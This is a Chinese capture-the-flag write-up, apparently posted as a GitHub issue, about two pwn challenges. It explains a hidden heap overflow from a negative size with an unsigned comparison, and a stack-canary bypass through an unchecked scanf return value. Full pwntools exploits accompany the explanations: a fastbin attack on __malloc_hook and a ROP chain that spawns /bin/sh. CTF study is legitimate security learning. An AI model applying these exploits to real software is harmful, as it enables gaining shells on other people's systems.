Open zoniony opened 4 years ago
这次以后 溜了溜了
主办方头一个小时放错题的操作太骚了,做了一个小时脚本写了一半,刷新网页发现pwn题全换,太让人窒息了
当刀客塔去,摸了
第二天两个小时做题,一个小时fix,两道pwn,
真有你们的呀.主办方.jpg
这题的坑很让人头疼
明处放了一个off by null漏洞,但是其实还有一个很隐蔽的堆溢出,所以当你如果第一眼看到off by null却发现怎么都利用不了.白白浪费时间,出题人的意图就达到了
off by null
服了这脑洞
unsigned __int64 input_user(__int64 a1, __int64 size, char a3 unsigned __int64 i; // [rsp+30h] [rbp-20h] for ( i = 0LL; size - 1 > i; ++i ) //....... buffer[i] = 0; // off by null
堆溢出漏洞在输入的size可以为负数.所以当一个无符号整型和一个有符号比较大小会出错,这题还隐蔽的将变量i设置为无符号
i
所以这题输入负数就堆溢出,然后fastbin_attack都是常规套路了
fastbin_attack
from pwn import * context.log_level = "debug" bin = ELF("note") libc = bin.libc p = bin.process() def Debug(): gdb.attach(p) def New(size,content): p.sendlineafter("> ","1") p.sendlineafter("note:",str(size)) p.sendlineafter("note:",content) def Show(idx): p.sendlineafter("> ","2") p.sendlineafter("Index:",str(idx)) def Del(idx): p.sendlineafter("> ","4") p.sendlineafter("Index:",str(idx)) New(-8,"0")#0 New(0x60,"1")#1 New(0x60,"2")#2 New(0x60,"3")#3 Del(0) New(-8,"0"*0x10+p64(0xe1)) Del(1) New(0x60,"1")#1 Show(2) p.recv(4) libc.address = u64(p.recv(6)+'\x00'*2)-0x3c4b78 success("libc.address-->"+hex(libc.address)) Del(0) Del(1) New(-8,"0"*0x10+p64(0x71)+p64(libc.sym["__malloc_hook"]-0x23)) New(0x60,"1") New(0x60,"4"*3+p64(libc.address+0xf02a4)*3) p.sendlineafter("> ","1") p.sendlineafter("note:","0") p.interactive()
提一点,这里给出了堆的低三位明显想让我们少点爆破,因为这题没给libc,所以理论上是需要爆破的
但是他默认的libc就是ububtu16.04,所以就不用了 (笑
栈溢出,但是没法泄露出canary,所以这题重点是如果绕过canary
canary
考一个trick
非空白符使 scanf() 在流中读一个匹配的字符并忽略之。例如,"%d,%d" 使 scanf() 先读入一个整数,读入中放弃逗号,然后读另一个整数。如未发现匹配,scanf() 返回。
在程序中,没有检查scanf的返回值,所以当该溢出到栈中canary的位置时,输入非法字符如+号,scanf读入失败返回EOF不改变栈中的canary值,而检查只检查栈中存在内容,继续可以溢出下一个,成功绕过canary
for ( i = 0; ; ++i ) { printf("%d: ", i); _isoc99_scanf("%ud", &v5[i]); if ( !v5[i] ) break; }
当时大锤想到的,大锤的exp
from pwn import * import subprocess context( binary = './pwn', log_level = "debug", os = "linux", arch = "amd64" ) e = context.binary LOCAL = True if LOCAL: io = process() libc = e.libc else: io = remote('localhost', 9999) #=============================================== def dbg(script = ""): gdb.attach(io, gdbscript = script) def one_gadget(filename): return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' ')) def sh(): io.interactive() def login(name): io.sendafter('Name:\n', name) def num_loop(count, num_array): io.sendlineafter('stop)\n', str(count)) for i in num_array: io.sendlineafter(': ', i) #io.sendlineafter('?(y/n)\n', 'y') #=============================================== strlen_off = 0x15c genenv_off = 0x15d #=============================================== login(p32(0xffffffff)) #dbg('b *0x080704fa\n') payload = [str(i) for i in '1'*0x12c] payload.append('+') payload.append(str(1)) payload.append(str(0x080704fa)) payload.append(str(0x080ec060)) # @ .data payload.append(str(0x080b9856)) # pop eax ; ret #p += '/bin' #payload.append(str(0x2f62696e)) payload.append(str(0x6e69622f)) payload.append(str(0x08055efb)) # mov dword ptr [edx], eax ; ret payload.append(str(0x080704fa)) # pop edx ; ret payload.append(str(0x080ec064)) # @ .data + 4 payload.append(str(0x080b9856)) # pop eax ; ret #p += '//sh' #payload.append(str(0x2f2f7368)) payload.append(str(0x68732f2f)) payload.append(str(0x08055efb)) # mov dword ptr [edx], eax ; ret payload.append(str(0x080704fa)) # pop edx ; ret payload.append(str(0x080ec068)) # @ .data + 8 payload.append(str(0x0804a773)) # xor eax, eax ; ret payload.append(str(0x08055efb)) # mov dword ptr [edx], eax ; ret payload.append(str(0x08049021)) # pop ebx ; ret payload.append(str(0x080ec060)) # @ .data payload.append(str(0x08070521)) # pop ecx ; pop ebx ; ret payload.append(str(0x080ec068)) # @ .data + 8 payload.append(str(0x080ec060)) # padding without overwrite ebx payload.append(str(0x080704fa)) # pop edx ; ret payload.append(str(0x080ec068)) # @ .data + 8 payload.append(str(0x0804a773)) # xor eax, eax ; ret payload.append(str(0x0807beef)) # inc eax ; ret payload.append(str(0x0807beef)) # inc eax ; ret payload.append(str(0x0807beef)) # inc eax ; ret payload.append(str(0x0807beef)) # inc eax ; ret payload.append(str(0x0807beef)) # inc eax ; ret payload.append(str(0x0807beef)) # inc eax ; ret payload.append(str(0x0807beef)) # inc eax ; ret payload.append(str(0x0807beef)) # inc eax ; ret payload.append(str(0x0807beef)) # inc eax ; ret payload.append(str(0x0807beef)) # inc eax ; ret payload.append(str(0x0807beef)) # inc eax ; ret payload.append(str(0x0806e173)) # int 0x80 payload.append('0') num_loop(0x12d, payload) sh()
这次以后 溜了溜了
day1
主办方头一个小时放错题的操作太骚了,做了一个小时脚本写了一半,刷新网页发现pwn题全换,太让人窒息了
当刀客塔去,摸了
day2
第二天两个小时做题,一个小时fix,两道pwn,
真有你们的呀.主办方.jpg
note
这题的坑很让人头疼
明处放了一个
off by null
漏洞,但是其实还有一个很隐蔽的堆溢出,所以当你如果第一眼看到off by null
却发现怎么都利用不了.白白浪费时间,出题人的意图就达到了服了这脑洞
堆溢出漏洞在输入的size可以为负数.所以当一个无符号整型和一个有符号比较大小会出错,这题还隐蔽的将变量
i
设置为无符号所以这题输入负数就堆溢出,然后
fastbin_attack
都是常规套路了提一点,这里给出了堆的低三位明显想让我们少点爆破,因为这题没给libc,所以理论上是需要爆破的
但是他默认的libc就是ububtu16.04,所以就不用了 (笑
is
栈溢出,但是没法泄露出
canary
,所以这题重点是如果绕过canary
考一个trick
在程序中,没有检查scanf的返回值,所以当该溢出到栈中canary的位置时,输入非法字符如+号,scanf读入失败返回EOF不改变栈中的canary值,而检查只检查栈中存在内容,继续可以溢出下一个,成功绕过canary
当时大锤想到的,大锤的exp